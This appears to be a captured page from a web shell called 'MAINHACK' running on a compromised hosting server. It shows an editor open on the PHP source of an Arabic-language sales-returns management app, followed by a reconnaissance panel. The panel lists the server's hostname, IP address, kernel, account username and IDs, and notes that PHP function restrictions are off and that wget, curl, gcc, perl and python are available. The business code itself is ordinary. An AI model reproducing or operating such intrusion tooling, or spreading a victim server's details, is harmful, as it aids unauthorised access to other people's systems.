[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: index.php
<?php require_once '../config/config.php'; requirePermission(); $pageTitle = 'إدارة المرتجعات'; $db = Database::getInstance(); $userRole = $_SESSION['user_role']; $userId = $_SESSION['user_id']; if ($userRole === 'representative') { $sql = "SELECT r.*, i.invoice_number, c.name as customer_name, u.name as representative_name, u2.name as approved_by_name FROM returns r LEFT JOIN invoices i ON r.invoice_id = i.id LEFT JOIN customers c ON i.customer_id = c.id LEFT JOIN users u ON r.representative_id = u.id LEFT JOIN users u2 ON r.approved_by = u2.id WHERE r.representative_id = ? ORDER BY r.created_at DESC"; $returns = $db->query($sql, [$userId])->fetchAll(); } else { $sql = "SELECT r.*, i.invoice_number, c.name as customer_name, u.name as representative_name, u2.name as approved_by_name FROM returns r LEFT JOIN invoices i ON r.invoice_id = i.id LEFT JOIN customers c ON i.customer_id = c.id LEFT JOIN users u ON r.representative_id = u.id LEFT JOIN users u2 ON r.approved_by = u2.id ORDER BY r.created_at DESC"; $returns = $db->query($sql)->fetchAll(); } $statusLabels = [ 'pending' => 'في انتظار الموافقة', 'approved' => 'تم الموافقة', 'rejected' => 'مرفوض' ]; $statusColors = [ 'pending' => 'warning', 'approved' => 'success', 'rejected' => 'danger' ]; include '../includes/header.php'; ?> <div class="row"> <div class="col-12"> <div class="d-flex justify-content-between align-items-center mb-4"> <h2><i class="bi bi-arrow-return-left"></i> إدارة المرتجعات</h2> <?php if ($userRole === 'representative'): ?> <a href="create.php" class="btn btn-primary"> <i class="bi bi-plus-lg"></i> إضافة مرتجع جديد </a> <?php endif; ?> </div> <?php if (isset($_GET['success'])): ?> <div class="alert alert-success alert-dismissible fade show" role="alert"> <?php $messages = [ 'return_created' => 'تم إضافة المرتجع بنجاح، في انتظار الموافقة', 'return_approved' => 'تم الموافقة على المرتجع', 'return_rejected' => 'تم رفض المرتجع' ]; echo $messages[$_GET['success']] ?? 'تمت العملية بنجاح'; ?> <button type="button" class="btn-close" data-bs-dismiss="alert"></button> </div> <?php endif; ?> <div class="card shadow-sm"> <div class="card-body"> <div class="table-responsive"> <table class="table table-hover"> <thead class="table-light"> <tr> <th>#</th> <th>رقم الفاتورة</th> <th>العميل</th> <?php if ($userRole !== 'representative'): ?> <th>المندوب</th> <?php endif; ?> <th>المنتج</th> <th>الكمية</th> <th>القيمة</th> <th>الحالة</th> <th>التاريخ</th> <th>الإجراءات</th> </tr> </thead> <tbody> <?php if (empty($returns)): ?> <tr> <td colspan="<?php echo $userRole !== 'representative' ? '10' : '9'; ?>" class="text-center text-muted py-4"> لا توجد مرتجعات </td> </tr> <?php else: ?> <?php foreach ($returns as $index => $return): ?> <tr> <td><?php echo $index + 1; ?></td> <td> <a href="../invoices/view.php?id=<?php echo $return['invoice_id']; ?>"> <?php echo htmlspecialchars($return['invoice_number']); ?> </a> </td> <td><?php echo htmlspecialchars($return['customer_name']); ?></td> <?php if ($userRole !== 'representative'): ?> <td><?php echo htmlspecialchars($return['representative_name']); ?></td> <?php endif; ?> <td><?php echo htmlspecialchars($return['product_name']); ?></td> <td><?php echo $return['quantity']; ?></td> <td><?php echo formatMoney($return['total_value']); ?></td> <td> <span class="badge bg-<?php echo $statusColors[$return['status']]; ?>"> <?php echo $statusLabels[$return['status']]; ?> </span> </td> <td><?php echo formatDate($return['created_at']); ?></td> <td> <div class="btn-group" role="group"> <a href="view.php?id=<?php echo $return['id']; ?>" class="btn btn-sm btn-info" title="عرض"> <i class="bi bi-eye"></i> </a> <?php if ($return['status'] === 'pending' && hasPermission(['manager', 'accountant'])): ?> <a href="approve.php?id=<?php echo $return['id']; ?>" class="btn btn-sm btn-success" title="الموافقة"> <i class="bi bi-check-lg"></i> </a> <a href="reject.php?id=<?php echo $return['id']; ?>" class="btn btn-sm btn-danger" title="رفض" onclick="return confirm('هل أنت متأكد من رفض هذا المرتجع؟')"> <i class="bi bi-x-lg"></i> </a> <?php endif; ?> </div> </td> </tr> <?php endforeach; ?> <?php endif; ?> </tbody> </table> </div> </div> </div> </div> </div> <?php include '../includes/footer.php'; ?>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium320.web-hosting.com
Server IP: 66.29.153.54
PHP Version: 8.2.29
Server Software: LiteSpeed
System: Linux premium320.web-hosting.com 4.18.0-553.50.1.lve.el8.x86_64 #1 SMP Thu Apr 17 19:10:24 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 76.85 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: aoneqssk
User ID (UID): 1285
Group ID (GID): 1290
Script Owner UID: 1285
Current Dir Owner: 1285